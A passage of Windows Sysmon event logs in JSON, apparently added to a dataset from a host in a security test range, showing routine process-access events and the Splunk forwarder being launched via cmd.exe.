+{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1536,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001048C20200}\r\nTargetProcessId: 3696\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001048C20200}","TargetProcessId":"3696","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1537,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.109\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-001048C20200}\r\nSourceProcessId: 3696\r\nSourceThreadId: 3716\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00100EC10200}\r\nTargetProcessId: 3688\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.109","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-001048C20200}","SourceProcessId":"3696","SourceThreadId":"3716","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00100EC10200}","TargetProcessId":"3688","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1538,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.134\r\nProcessGuid: {90617006-3FE5-5F2D-0000-00104FC40200}\r\nProcessId: 3732\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nFileVersion: 8.0.2\r\nDescription: splunk Application\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _RAW_envvars\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-00100EC10200}\r\nParentProcessId: 3688\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _RAW_envvars","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.134","ProcessGuid":"{90617006-3FE5-5F2D-0000-00104FC40200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","FileVersion":"8.0.2","Description":"splunk Application","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _RAW_envvars","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-00100EC10200}","ParentProcessId":"3688","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _RAW_envvars","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1539,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00100EC10200}\r\nSourceProcessId: 3688\r\nSourceThreadId: 3692\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00104FC40200}\r\nTargetProcessId: 3732\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00100EC10200}","SourceProcessId":"3688","SourceThreadId":"3692","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00104FC40200}","TargetProcessId":"3732","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1540,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-00104FC40200}\r\nTargetProcessId: 3732\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-00104FC40200}","TargetProcessId":"3732","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1541,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1542,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1543,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1544,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.141","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1545,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.141\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 